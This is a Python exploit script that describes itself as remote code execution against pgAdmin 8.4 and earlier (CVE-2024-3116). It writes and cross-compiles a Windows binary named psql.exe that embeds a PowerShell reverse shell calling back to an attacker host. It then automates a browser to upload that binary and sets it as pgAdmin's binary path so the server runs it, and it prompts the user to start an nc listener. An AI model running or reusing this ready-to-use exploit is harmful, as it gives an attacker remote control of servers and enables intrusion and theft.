import argparse import os import subprocess import socket import re from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import time def compile_binary(lhost, lport): source_code = f"""#include #include #include int main(int argc, char *argv[]) {{ if (argc > 1 && strcmp(argv[1], "--version") == 0) {{ system("powershell -nop -c \\\"$client = New-Object System.Net.Sockets.TCPClient('{lhost}', {lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\\\""); }} else {{ printf("Usage: %s --version\\n", argv[0]); }} return 0; }} """ try: with open("./poc.c", "w") as file: file.write(source_code) print(f"Source code written") except IOError: print(f"Error writing source code") # Command to compile C program for Windows compile_command = f"x86_64-w64-mingw32-gcc -o psql.exe poc.c" # Execute the compilation command try: subprocess.run(compile_command, shell=True, check=True) print("Compilation successful.") except subprocess.CalledProcessError as e: print(f"Compilation failed: {e}") def main(email, password, rhost, rport, lhost, lport): print("Don't forget to launch Burp suite !") burp = input("Burp is launched ? (yes/no) ") if burp not in ("y", "yes", "Y", "YES"): exit() # Configure Selenium options = webdriver.ChromeOptions() options.add_argument("--headless") options.add_argument(f'--proxy-server=127.0.0.1:8080') driver = webdriver.Chrome(options=options) driver.get(f'{rhost}:{rport}/login?next=%2Fbrowser%2F') # Ask the login page time.sleep(5) username_field = driver.find_element(By.NAME, "email") username_field.send_keys(email) password_field = driver.find_element(By.NAME, "password") password_field.send_keys(password) login_button = driver.find_element(By.XPATH, "//button[@type='submit']") login_button.click() # uploading driver.get(f'{rhost}:{rport}/browser/') ## Find and click the "Tools" button tools_button_locator = '//button[@data-label="Tools"]' tools_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, tools_button_locator))) tools_button.click() ## Click on the "Import/Export Servers..." menu item import_item_locator = '//li[@data-label="Import/Export Servers..."]' import_item = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, import_item_locator))) import_item.click() ## The import/export window appear ## click on select a file file_button_locator = '//button[@aria-label="Select a file"]' file_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, file_button_locator))) file_button.click() ## Click on "options" options_button_locator = '//button[@data-label="Options"]' options_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, options_button_locator))) options_button.click() ## click on the menu item upload upload_menu_item_locator = '//li[@data-label="Upload"]' upload_menu_item = WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, upload_menu_item_locator))) upload_menu_item.click() # Create the file compile_binary(lhost, lport) ## upload the file ### Find the file input element file_input = driver.find_element(By.XPATH, '//input[@type="file"]') ### Execute JavaScript to make the file input element visible driver.execute_script("arguments[0].style.display = 'block';", file_input) ### Specify the file path you want to upload file_path = os.path.join(os.getcwd(), "psql.exe") file_input.send_keys(file_path) # Try to recover the path ## Wait for the response to be received (adjust the time as needed) driver.implicitly_wait(10) # Fail to recover the path so ask it ! path = input("Check the request of the upload file (the POST to /file_manager/filemanager/XXXXXXX/, should be the last one) and give me the path (without the /\\\\.psql.exe) : ") # Open a listener print(f"In another terminal launch the command : nc -lvnp {lport}") listener = input("ready ? (yes/no) ") while listener not in ("y", "yes", "Y", "YES"): listener = input("ready ? (yes/no)") # Trigger the binary file ## Go back to /browser driver.get(f'{rhost}:{rport}/browser/') # 1. Click on the "File" button file_button_locator = '//button[@data-label="File"]' file_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, file_button_locator))) file_button.click() # 2. Click on the "Preferences" menu item preferences_menu_item_locator = '//li[@data-label="Preferences"]' preferences_menu_item = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, preferences_menu_item_locator))) preferences_menu_item.click() # 3. Click on the "Binary paths" file entry binary_paths_file_entry_locator = '//div[contains(span[@class="file-label"]/span[@class="file-name"], "Binary paths")]' binary_paths_file_entry = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, binary_paths_file_entry_locator))) binary_paths_file_entry.click() # 4. Write the variable "path" into the input field driver.implicitly_wait(10) path_input = driver.find_element(By.NAME, "binaryPath") path_input.send_keys(path) # 5. Click on the "Validate" button validate_button_locator = '//button[@data-label="Validate"]' validate_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, validate_button_locator))) validate_button.click() print ("Should be done !") if __name__ == "__main__": parser = argparse.ArgumentParser(description='RCE against pgadmin <=8.4 (CVE-2024-3116). Give a reverse shell') parser.add_argument('--email', type=str, required=True, help='Email address') parser.add_argument('--password', type=str, required=True, help='Password') parser.add_argument('--rhost', type=str, required=True, help='Remote host (URL or IP address)') parser.add_argument('--rport', type=int, required=True, help='Remote port number') parser.add_argument('--lhost', type=str, required=True, help='Local host (URL or IP address)') parser.add_argument('--lport', type=int, required=True, help='Local port number') args = parser.parse_args() main(args.email, args.password, args.rhost, args.rport, args.lhost, args.lport)